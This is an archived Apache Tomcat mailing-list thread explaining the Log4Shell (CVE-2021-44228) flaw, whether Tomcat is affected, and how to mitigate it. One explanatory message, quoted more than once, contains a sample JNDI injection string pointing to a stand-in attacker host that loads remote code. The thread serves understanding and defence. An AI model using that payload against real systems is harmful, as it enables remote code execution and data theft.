Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Niranjan Rao]

This is one of the best explanation I've seen. And it does not use the 
word Minecraft to emphasis the importance.


Thank you.

Niranjan
On 12/13/21 3:36 PM, Christopher Schultz wrote:

James,

On 12/13/21 14:48, James H. H. Lampert wrote:

On 12/13/21 10:53 AM, Mark Thomas wrote:

Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any 
more format strings. This means the output of one format string can 
insert a new format string.

. . .

Thanks. It's starting to make sense to me now, even given that much 
of it involves Java functionality I'd never heard of.


After re-reading the Veracode article in light of what you said, I 
then found a couple of Wikipedia articles that further clarify 
things, for me at least:


https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell

So it's the ability to resolve stuff of the general format 
"${prefix:name}" within a log string, that's the problem.


It's starting to reach a point where I can wrap my 59-year-old little 
grey cells around it.


As much fun as it is to talk about this stuff, "we" (ASF volunteers, 
as well as many others) tend to try not to provide examples of how to 
exploit vulnerabilities. In this case, all you have to do it search 
GitHub for this CVE or "log4shell" on GitHub and you can see lots of 
examples.


In this case, the cat is out of the bag. I'm still not going to 
provide specific examples, but I can help you understand, conceptually.


The link Mark provided in a separate response has some of the dirty 
details. Without talking at that level of detail, the worst attack 
works essentially like this:


1. Attacker hosts an RMI server, which is a thing that allows Java 
(client) applications to remotely-load .class files from other places. 
This is great in an "enterprise" environment because a service can 
tell a client "here is the thing you need to work with me" instead of 
saying "well, if you don't have foo-bar-1.4.5.jar loaded then you can 
piss off." It's handy... and seriously dangerous if you aren't careful.


Any evildoer can do this whenever they want, there is nothing stopping 
them, nor is it really that damaging to the world in general. Just 
like I can brew poison in my own bathtub, if nobody is drinking from 
my bathtub (ew?), it's not likely to cause too much sickness or death.


2. A vulnerability is discovered and reported in log4j. This allows 
log *messages* to contain JNDI lookups. This includes 
attacker-controlled things like e.g.:


  log.info("FYI User " + username + " just searched for search string 
" + queryString);


Pretty innocuous, right? Well, if the search string looks like 
${jndi:[stuff]} then ... boom.


3. JNDI lookups allow you to request that information be pulled-in 
from an LDAP server. JNDI across the network is essentially the same 
thing as LDAP (or "Active Directory" if that's what you use... AD is 
LDAP). One of the things you can tell your JNDI lookup to do is load a 
.class file over the network and use it for $stuff.


4. Remember that evil RMI server we set up in #1 above? Well, unless 
you are filtering-out LDAP connections to random IPs (and, really, you 
*should be*), then I as an attacking user can just go to your 
application and search for


  "Hey buddy lol ${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject};

At this point, log4j will consider this string to log:

FYI User chris just searched for the search string Hey buddy lol 
${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}


Oh, look, there's a magic "${jndi:" thing in there. Let's helpfully 
resolve that...


The JNDI lookup causes your server to reach-out to my.evil.ip, pull a 
reference for that class across the wire, then pull the class 
definition across the wire, and run the evil class code on your server.


At this point, the resulting string written to the log does make a bit 
of difference. The evil code has been loaded onto your server and you 
have a Bad Day.


Now, this can be mitigated in a number of ways, which is nice. My two 
favorite (and incomplete) ways to mitigate this are:


1. Don't allow outgoing LDAP connections from your server. In fact, it 
doesn't matter if they are LDAP or not. Don't allow outgoing 
connections from your servers except the required[1] ones.


2. Recent Java versions automatically disable remote-classloading via 
LDAP to prevent this kind of monkey business. But there are ways to 
make it work anyway.


This is why we can't have nice things.

RCE is bad m'kay, but let's say that you don't allow outgoing network 
connections AT ALL from your server, so you are TOTALLY IMMUNE from 
this kind of attack. Well, RCE ain't the only thing possible.


Data exfiltration is an often-overlooked attack that can still be 
pretty bad. It's "limited" to what can be found in/through JNDI but 
... it's possible to find quite a bit of interesting information that 
way. How? Those log 

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Christopher Schultz]

James,

On 12/13/21 19:24, James H. H. Lampert wrote:
I can *barely* wrap my mind around the idea of getting executable code 
from an RMI server, but what legitimate purpose could be served by 
allowing a *logger* to resolve executable code?


None. The designers of log4j probably were thinking "hey, users might 
want to log their configuration(s) to the log file at some point, so 
maybe we can do them a favor and make it really easy to do that using 
${jndi:} directly in the log message." Never, of course, thinking about 
the fact that JNDI lookups can be *far* more ... interesting than just 
grabbing a string value from memory and tossing it into a log message.


This vulnerability comes from two sources:

1. An incredibly powerful and complex infrastructure in JNDI

+

2. An incredibly simply way to access it (via log4j)

At the time, nobody was thinking critically about security because "it's 
just logging stuff."


-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Tim Funk]

LOG4J2 allows for multiple keyword types of keyword expansions in the logs.
Keyword expansion is a "great way" to log items possibly only known at run
time. And with trace, debug level logging - Comparing those expanded values
to logged values makes debugging "easier". (The closest you'll get to
breakpoints in production)

The downside (exploit) is when the expansion (lookup) does things a little
too powerfully. Then other folks come along and use that to *chain* other
exploits. Remote LDAP calls were not in mind when the original idea was
presenting a value from "java:comp/env". That's gap #1. Then gap #2 was the
ability for jndi calls via LDAP to allow serialized results to come back.
And the deserialization allowed for arbitrary code execution. WIth a modern
java, the (trivial) de-serialization exploit won't happen. But there are
many other chaining opportunities still out there.

A key takeaway is you might judge individual single exploits not to be bad.
But if you can easily chain multiple ones together, then the black hat
party can begin.

-Tim


On Mon, Dec 13, 2021 at 7:24 PM James H. H. Lampert
 wrote:

>
> I can *barely* wrap my mind around the idea of getting executable code
> from an RMI server, but what legitimate purpose could be served by
> allowing a *logger* to resolve executable code?
>
>

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[James H. H. Lampert]

Thanks. I think I understand now.

All except for one thing:

I can *barely* wrap my mind around the idea of getting executable code 
from an RMI server, but what legitimate purpose could be served by 
allowing a *logger* to resolve executable code?


--
JHHL
(And I have a fair amount of experience writing "solutions looking for a 
problem" that "seemed like a good idea at the time," but turned out to 
have no practical use. More experience than I'd like to have, in fact.)


-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Christopher Schultz]

James,

On 12/13/21 14:48, James H. H. Lampert wrote:

On 12/13/21 10:53 AM, Mark Thomas wrote:

Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any 
more format strings. This means the output of one format string can 
insert a new format string.

. . .

Thanks. It's starting to make sense to me now, even given that much of 
it involves Java functionality I'd never heard of.


After re-reading the Veracode article in light of what you said, I then 
found a couple of Wikipedia articles that further clarify things, for me 
at least:


https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell

So it's the ability to resolve stuff of the general format 
"${prefix:name}" within a log string, that's the problem.


It's starting to reach a point where I can wrap my 59-year-old little 
grey cells around it.


As much fun as it is to talk about this stuff, "we" (ASF volunteers, as 
well as many others) tend to try not to provide examples of how to 
exploit vulnerabilities. In this case, all you have to do it search 
GitHub for this CVE or "log4shell" on GitHub and you can see lots of 
examples.


In this case, the cat is out of the bag. I'm still not going to provide 
specific examples, but I can help you understand, conceptually.


The link Mark provided in a separate response has some of the dirty 
details. Without talking at that level of detail, the worst attack works 
essentially like this:


1. Attacker hosts an RMI server, which is a thing that allows Java 
(client) applications to remotely-load .class files from other places. 
This is great in an "enterprise" environment because a service can tell 
a client "here is the thing you need to work with me" instead of saying 
"well, if you don't have foo-bar-1.4.5.jar loaded then you can piss 
off." It's handy... and seriously dangerous if you aren't careful.


Any evildoer can do this whenever they want, there is nothing stopping 
them, nor is it really that damaging to the world in general. Just like 
I can brew poison in my own bathtub, if nobody is drinking from my 
bathtub (ew?), it's not likely to cause too much sickness or death.


2. A vulnerability is discovered and reported in log4j. This allows log 
*messages* to contain JNDI lookups. This includes attacker-controlled 
things like e.g.:


  log.info("FYI User " + username + " just searched for search string " 
+ queryString);


Pretty innocuous, right? Well, if the search string looks like 
${jndi:[stuff]} then ... boom.


3. JNDI lookups allow you to request that information be pulled-in from 
an LDAP server. JNDI across the network is essentially the same thing as 
LDAP (or "Active Directory" if that's what you use... AD is LDAP). One 
of the things you can tell your JNDI lookup to do is load a .class file 
over the network and use it for $stuff.


4. Remember that evil RMI server we set up in #1 above? Well, unless you 
are filtering-out LDAP connections to random IPs (and, really, you 
*should be*), then I as an attacking user can just go to your 
application and search for


  "Hey buddy lol ${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject};

At this point, log4j will consider this string to log:

FYI User chris just searched for the search string Hey buddy lol 
${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}


Oh, look, there's a magic "${jndi:" thing in there. Let's helpfully 
resolve that...


The JNDI lookup causes your server to reach-out to my.evil.ip, pull a 
reference for that class across the wire, then pull the class definition 
across the wire, and run the evil class code on your server.


At this point, the resulting string written to the log does make a bit 
of difference. The evil code has been loaded onto your server and you 
have a Bad Day.


Now, this can be mitigated in a number of ways, which is nice. My two 
favorite (and incomplete) ways to mitigate this are:


1. Don't allow outgoing LDAP connections from your server. In fact, it 
doesn't matter if they are LDAP or not. Don't allow outgoing connections 
from your servers except the required[1] ones.


2. Recent Java versions automatically disable remote-classloading via 
LDAP to prevent this kind of monkey business. But there are ways to make 
it work anyway.


This is why we can't have nice things.

RCE is bad m'kay, but let's say that you don't allow outgoing network 
connections AT ALL from your server, so you are TOTALLY IMMUNE from this 
kind of attack. Well, RCE ain't the only thing possible.


Data exfiltration is an often-overlooked attack that can still be pretty 
bad. It's "limited" to what can be found in/through JNDI but ... it's 
possible to find quite a bit of interesting information that way. How? 
Those log messages aren't being sent to the attacker! How can a logging 
leak give-out that kind of information?


It's a little complicated, but stick with me.

Let's say I search for this:

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[James H. H. Lampert]

On 12/13/21 10:53 AM, Mark Thomas wrote:

Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any more 
format strings. This means the output of one format string can insert a 
new format string.

. . .

Thanks. It's starting to make sense to me now, even given that much of 
it involves Java functionality I'd never heard of.


After re-reading the Veracode article in light of what you said, I then 
found a couple of Wikipedia articles that further clarify things, for me 
at least:


https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell

So it's the ability to resolve stuff of the general format 
"${prefix:name}" within a log string, that's the problem.


It's starting to reach a point where I can wrap my 59-year-old little 
grey cells around it.


--
JHHL

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Daniel Savard]

Le lun. 13 déc. 2021 à 14:11, Thomas Meyer  a écrit :

> Hi,
>
> Interesting. I know a bit off topic..
>
> Does it make a difference for the vulnerability if I log with:
>
> a) log.warn("log msg param {}", userControlledParam);
>
> Or
>
> b) log.warn(log msg param " + userControlledParam);
>
>
No.


> Mfg
> Thomas
>
>
-
Daniel Savard

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Thomas Meyer]

Hi,

Interesting. I know a bit off topic.. 

Does it make a difference for the vulnerability if I log with:

a) log.warn("log msg param {}", userControlledParam);

Or

b) log.warn(log msg param " + userControlledParam);

Mfg
Thomas

Am 13. Dezember 2021 19:53:04 MEZ schrieb Mark Thomas :
>On 13/12/2021 18:31, James H. H. Lampert wrote:
>> The thing I'm still utterly unclear about is how simply logging traffic 
>> could, by itself, create a vulnerability.
>> 
>> In our case, the log entries are not even viewable unless you are signed 
>> on to a command line session on the server (ssh for headless Linux; a 
>> physical Twinax terminal, or a 5250 emulator of some sort, for IBM 
>> Midrange).
>> 
>> How can a log entry be executed as a command, anyway?
>
>Log4j2 supports a log message format syntax that includes JNDI lookups.
>
>Log4j2 processes log messages repeatedly until it doesn't find any more 
>format strings. This means the output of one format string can insert a 
>new format string.
>
>So, if the application is logging some user provided string verbatim 
>then the user can do the following:
>- provide input that includes the log4j2 format string for a JNDI lookup
>- on the first iteration log4j2 builds the log message that includes
>   the user provided string
>- on the second iteration log4j processes the user provided format
>   string and performs a JNDI lookup
>
>For an example of how a JNDI lookup can be leveraged to trigger code 
>execution in Tomcat see this article:
>https://www.veracode.com/blog/research/exploiting-jndi-injections-java
>
>That isn't the only way to use JNDI to trigger code execution and I am 
>sure security researchers will find a bunch of new ways as a result of 
>this vulnerability.
>
>HTH,
>
>Mark
>
>-
>To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
>For additional commands, e-mail: users-h...@tomcat.apache.org
>

-- 
Diese Nachricht wurde von meinem Android-Gerät mit K-9 Mail gesendet.

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Mark Thomas]

On 13/12/2021 18:31, James H. H. Lampert wrote:
The thing I'm still utterly unclear about is how simply logging traffic 
could, by itself, create a vulnerability.


In our case, the log entries are not even viewable unless you are signed 
on to a command line session on the server (ssh for headless Linux; a 
physical Twinax terminal, or a 5250 emulator of some sort, for IBM 
Midrange).


How can a log entry be executed as a command, anyway?


Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any more 
format strings. This means the output of one format string can insert a 
new format string.


So, if the application is logging some user provided string verbatim 
then the user can do the following:

- provide input that includes the log4j2 format string for a JNDI lookup
- on the first iteration log4j2 builds the log message that includes
  the user provided string
- on the second iteration log4j processes the user provided format
  string and performs a JNDI lookup

For an example of how a JNDI lookup can be leveraged to trigger code 
execution in Tomcat see this article:

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

That isn't the only way to use JNDI to trigger code execution and I am 
sure security researchers will find a bunch of new ways as a result of 
this vulnerability.


HTH,

Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[James H. H. Lampert]

The thing I'm still utterly unclear about is how simply logging traffic 
could, by itself, create a vulnerability.


In our case, the log entries are not even viewable unless you are signed 
on to a command line session on the server (ssh for headless Linux; a 
physical Twinax terminal, or a 5250 emulator of some sort, for IBM 
Midrange).


How can a log entry be executed as a command, anyway?

--
JHHL

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Daniel Savard]

Thanks, very useful information to channel back to my team and beyond.
-
Daniel Savard

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Mark Thomas]

On 13/12/2021 07:41, Saurav Sarkar wrote:

Hi All,

How does tomcat access valves/logs work ?


This is open source. You can look at the source code.


Since it prints the whole URL , will it be any issue if the access logs are
using Log4j2 implementation?


Again (with a minor update to the log4j 1.x information).

Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


Applications may have a dependency on log4j. You should seek support 
from your application vendors on how best to address this vulnerability 
although disabling the vulnerable feature is likely to be the simplest 
solution.


Tomcat 8.0.x and earlier as well as the first few releases of 8.5.x 
provided optional support for switching Tomcat's internal logging to 
log4j 1.x. Anyone one using these very old (5+ years), unsupported 
versions that switched to using log4j 1.x is may need to address this 
vulnerability as log4j 1.x is affected in some (probably rarely used) 
configurations. Regardless, they'll need to address the Tomcat 
vulnerabilities that have been made public in those 5+ years.


It is possible to configure Tomcat to use log4j 2.x for its internal 
logging. This requires explicit configuration and the addition of the 
log4j 2.x library. Anyone who has switched Tomcat's internal logging to 
log4j 2.x is likely to need to address this vulnerability. Again, 
disabling the vulnerable feature is likely to be the simplest solution.


As Jon McAlexander has pointed out, adding the following to 
CATALINA_OPTS in setenv.sh / setenv.bat will disable the problematic feature


-Dlog4j2.formatMsgNoLookups=true

provided you are using a sufficiently recent version of log4j 2.x that 
supports that configuration option.


Mark





Best Regards,
Saurav

On Sun, Dec 12, 2021 at 7:32 PM Christopher Schultz <
ch...@christopherschultz.net> wrote:


Mark,

On 12/11/21 18:39, Mark Thomas wrote:

On 11/12/2021 22:04, Sebastian Hennebrüder wrote:

Hi all,

I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and
Java 11. Actually the Java path version is not relevant.


Utter nonsense. Tomcat is not vulnerable to this attack.


It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
embedded.


The above statement fails to make clear that it is only true if a number
of of pre-conditions are also true.

The Spring team have a blog that describes the vulnerable configurations
and provides several possible workarounds:

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot


If your server can reach arbitrary servers on the Internet, you can
execute random code in the shell.


The above statement fails to make clear that it is only true if a number
of of pre-conditions are also true.


The attack is not using RMI remote class loading but uses Tomcats
BeanFactory to create an ELExpression library. As the BeanFactory has
features to manipulate instantiated classes, it can inject a Script.
In plain Java application this would still be blocked by RMI class
loading but Tomcat circumvents this.


More mis-leading nonsense attempting to suggest that Tomcat is
vulnerable. It isn't.


The attack is explained in 2019 by
https://www.veracode.com/blog/research/exploiting-jndi-injections-java


What the authors of that blog make clear, but appears to have been
completely ignored by the person posting to this list is nicely summed
up at the end of the article:


The actual problem here is not within the JDK or Apache Tomcat library,
but rather in custom applications that pass user-controllable data to
the "InitialContext.lookup()" function, as it still represents a
security risk even in fully patched JDK installations.


Any application that takes any user provided data and uses it without
performing any validation and/or sanitization - particularly if that
data is then used to construct a request to an external service - is
probably going to create a security vulnerability in the application.


+1

*This* is what makes the log4j vulnerability such a problem: it takes
something that should be allowed to be untrustworthy (raw user input)
and turns it into logic signalling.

It is very easy to write an application that contains vulnerabilities.
Those vulnerabilities are NOT vulnerabilities in the hosting service, etc.

Anyone running a reasonably recent version of Java should *not* be
subject to RCE. Exfiltration of data available through JNDI (which /may/
be very interesting to attackers) is much more likely and much more
difficult to mitigate without either upgrading log4j or applying log4j's
mitigations (system property or format-modifier).

-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org







-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For 

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Saurav Sarkar]

Hi All,

How does tomcat access valves/logs work ?

Since it prints the whole URL , will it be any issue if the access logs are
using Log4j2 implementation?

Best Regards,
Saurav

On Sun, Dec 12, 2021 at 7:32 PM Christopher Schultz <
ch...@christopherschultz.net> wrote:

> Mark,
>
> On 12/11/21 18:39, Mark Thomas wrote:
> > On 11/12/2021 22:04, Sebastian Hennebrüder wrote:
> >> Hi all,
> >>
> >> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and
> >> Java 11. Actually the Java path version is not relevant.
> >
> > Utter nonsense. Tomcat is not vulnerable to this attack.
> >
> >> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
> >> embedded.
> >
> > The above statement fails to make clear that it is only true if a number
> > of of pre-conditions are also true.
> >
> > The Spring team have a blog that describes the vulnerable configurations
> > and provides several possible workarounds:
> >
> > https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
> >
> >> If your server can reach arbitrary servers on the Internet, you can
> >> execute random code in the shell.
> >
> > The above statement fails to make clear that it is only true if a number
> > of of pre-conditions are also true.
> >
> >> The attack is not using RMI remote class loading but uses Tomcats
> >> BeanFactory to create an ELExpression library. As the BeanFactory has
> >> features to manipulate instantiated classes, it can inject a Script.
> >> In plain Java application this would still be blocked by RMI class
> >> loading but Tomcat circumvents this.
> >
> > More mis-leading nonsense attempting to suggest that Tomcat is
> > vulnerable. It isn't.
> >
> >> The attack is explained in 2019 by
> >> https://www.veracode.com/blog/research/exploiting-jndi-injections-java
> >
> > What the authors of that blog make clear, but appears to have been
> > completely ignored by the person posting to this list is nicely summed
> > up at the end of the article:
> >
> > 
> > The actual problem here is not within the JDK or Apache Tomcat library,
> > but rather in custom applications that pass user-controllable data to
> > the "InitialContext.lookup()" function, as it still represents a
> > security risk even in fully patched JDK installations.
> > 
> >
> > Any application that takes any user provided data and uses it without
> > performing any validation and/or sanitization - particularly if that
> > data is then used to construct a request to an external service - is
> > probably going to create a security vulnerability in the application.
>
> +1
>
> *This* is what makes the log4j vulnerability such a problem: it takes
> something that should be allowed to be untrustworthy (raw user input)
> and turns it into logic signalling.
>
> It is very easy to write an application that contains vulnerabilities.
> Those vulnerabilities are NOT vulnerabilities in the hosting service, etc.
>
> Anyone running a reasonably recent version of Java should *not* be
> subject to RCE. Exfiltration of data available through JNDI (which /may/
> be very interesting to attackers) is much more likely and much more
> difficult to mitigate without either upgrading log4j or applying log4j's
> mitigations (system property or format-modifier).
>
> -chris
>
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
>
>

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Christopher Schultz]

Mark,

On 12/11/21 18:39, Mark Thomas wrote:

On 11/12/2021 22:04, Sebastian Hennebrüder wrote:

Hi all,

I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and 
Java 11. Actually the Java path version is not relevant.


Utter nonsense. Tomcat is not vulnerable to this attack.

It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat 
embedded.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.


The Spring team have a blog that describes the vulnerable configurations 
and provides several possible workarounds:


https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

If your server can reach arbitrary servers on the Internet, you can 
execute random code in the shell.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.


The attack is not using RMI remote class loading but uses Tomcats 
BeanFactory to create an ELExpression library. As the BeanFactory has 
features to manipulate instantiated classes, it can inject a Script. 
In plain Java application this would still be blocked by RMI class 
loading but Tomcat circumvents this.


More mis-leading nonsense attempting to suggest that Tomcat is 
vulnerable. It isn't.


The attack is explained in 2019 by 
https://www.veracode.com/blog/research/exploiting-jndi-injections-java


What the authors of that blog make clear, but appears to have been 
completely ignored by the person posting to this list is nicely summed 
up at the end of the article:



The actual problem here is not within the JDK or Apache Tomcat library, 
but rather in custom applications that pass user-controllable data to 
the "InitialContext.lookup()" function, as it still represents a 
security risk even in fully patched JDK installations.



Any application that takes any user provided data and uses it without 
performing any validation and/or sanitization - particularly if that 
data is then used to construct a request to an external service - is 
probably going to create a security vulnerability in the application.


+1

*This* is what makes the log4j vulnerability such a problem: it takes 
something that should be allowed to be untrustworthy (raw user input) 
and turns it into logic signalling.


It is very easy to write an application that contains vulnerabilities. 
Those vulnerabilities are NOT vulnerabilities in the hosting service, etc.


Anyone running a reasonably recent version of Java should *not* be 
subject to RCE. Exfiltration of data available through JNDI (which /may/ 
be very interesting to attackers) is much more likely and much more 
difficult to mitigate without either upgrading log4j or applying log4j's 
mitigations (system property or format-modifier).


-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Rémy Maucherat]

On Sat, Dec 11, 2021 at 11:05 PM Sebastian Hennebrüder
 wrote:
>
> Hi all,
>
> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 11. 
> Actually the Java path version is not relevant.
>
> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.
>
> If your server can reach arbitrary servers on the Internet, you can execute 
> random code in the shell.
>
> The attack is not using RMI remote class loading but uses Tomcats BeanFactory 
> to create an ELExpression library. As the BeanFactory has features to 
> manipulate instantiated classes, it can inject a Script. In plain Java 
> application this would still be blocked by RMI class loading but Tomcat 
> circumvents this.
>
> The attack is explained in 2019 by 
> https://www.veracode.com/blog/research/exploiting-jndi-injections-java

Also, another person already thought about digging this up (even
before we were aware of the log4j problem):
https://bz.apache.org/bugzilla/show_bug.cgi?id=65736

Rémy

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Mark Thomas]

On 11/12/2021 22:04, Sebastian Hennebrüder wrote:

Hi all,

I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 11. 
Actually the Java path version is not relevant.


Utter nonsense. Tomcat is not vulnerable to this attack.


It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.


The Spring team have a blog that describes the vulnerable configurations 
and provides several possible workarounds:


https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot


If your server can reach arbitrary servers on the Internet, you can execute 
random code in the shell.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.



The attack is not using RMI remote class loading but uses Tomcats BeanFactory 
to create an ELExpression library. As the BeanFactory has features to 
manipulate instantiated classes, it can inject a Script. In plain Java 
application this would still be blocked by RMI class loading but Tomcat 
circumvents this.


More mis-leading nonsense attempting to suggest that Tomcat is 
vulnerable. It isn't.



The attack is explained in 2019 by 
https://www.veracode.com/blog/research/exploiting-jndi-injections-java


What the authors of that blog make clear, but appears to have been 
completely ignored by the person posting to this list is nicely summed 
up at the end of the article:



The actual problem here is not within the JDK or Apache Tomcat library, 
but rather in custom applications that pass user-controllable data to 
the "InitialContext.lookup()" function, as it still represents a 
security risk even in fully patched JDK installations.



Any application that takes any user provided data and uses it without 
performing any validation and/or sanitization - particularly if that 
data is then used to construct a request to an external service - is 
probably going to create a security vulnerability in the application.


Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Sebastian Hennebrüder]

To be more precise. It depends on how you configure log4j. By default Spring 
boot installs 

org.apache.logging.log4j
log4j-to-slf4j


In that case the default NullConfiguration of Log4j is not executed and the 
JNDI lookup is not configured.

The chance to be impacted is smaller.

> Am 11.12.2021 um 23:35 schrieb Sebastian Hennebrüder :
> 
> Correction for Spring Boot with embedded Tomcat
> 
> The attack does not work by default.
> 
>> Am 11.12.2021 um 23:04 schrieb Sebastian Hennebrüder :
>> 
>> Hi all,
>> 
>> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 
>> 11. Actually the Java path version is not relevant. 
>> 
>> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.
>> 
>> If your server can reach arbitrary servers on the Internet, you can execute 
>> random code in the shell.
>> 
>> The attack is not using RMI remote class loading but uses Tomcats 
>> BeanFactory to create an ELExpression library. As the BeanFactory has 
>> features to manipulate instantiated classes, it can inject a Script. In 
>> plain Java application this would still be blocked by RMI class loading but 
>> Tomcat circumvents this.
>> 
>> The attack is explained in 2019 by 
>> https://www.veracode.com/blog/research/exploiting-jndi-injections-java
>> 
>> 
>> Cheers 
>> 
>> Sebastian
> 
> 
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
> 

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Sebastian Hennebrüder]

> Am 11.12.2021 um 23:54 schrieb Aryeh Friedman :
> 
> On Sat, Dec 11, 2021 at 5:11 PM Sebastian Hennebrüder 
> wrote:
> 
>> Hi all,
>> 
>> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java
>> 11. Actually the Java path version is not relevant.
>> 
>> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
>> embedded.
>> 
> 
> Does this affect pre-2.x log4j's? (I am using tomcat 9.0.35 with log4j
> 1.2.17)
> 
> 
> -- 
> Aryeh M. Friedman, Lead Developer, http://www.PetiteCloud.org

I did not validate this but it requires JNDI lookup, so following 
https://logging.apache.org/log4j/2.x/security.html 
 it is not affected.

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Aryeh Friedman]

On Sat, Dec 11, 2021 at 5:11 PM Sebastian Hennebrüder 
wrote:

> Hi all,
>
> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java
> 11. Actually the Java path version is not relevant.
>
> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
> embedded.
>

Does this affect pre-2.x log4j's? (I am using tomcat 9.0.35 with log4j
1.2.17)


-- 
Aryeh M. Friedman, Lead Developer, http://www.PetiteCloud.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Sebastian Hennebrüder]

Correction for Spring Boot with embedded Tomcat

The attack does not work by default.

> Am 11.12.2021 um 23:04 schrieb Sebastian Hennebrüder :
> 
> Hi all,
> 
> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 11. 
> Actually the Java path version is not relevant. 
> 
> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.
> 
> If your server can reach arbitrary servers on the Internet, you can execute 
> random code in the shell.
> 
> The attack is not using RMI remote class loading but uses Tomcats BeanFactory 
> to create an ELExpression library. As the BeanFactory has features to 
> manipulate instantiated classes, it can inject a Script. In plain Java 
> application this would still be blocked by RMI class loading but Tomcat 
> circumvents this.
> 
> The attack is explained in 2019 by 
> https://www.veracode.com/blog/research/exploiting-jndi-injections-java
> 
> 
> Cheers 
> 
> Sebastian


-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Christopher Schultz]

All,

On 12/11/21 03:18, Mark Thomas wrote:

On 10/12/2021 22:17, James H. H. Lampert wrote:

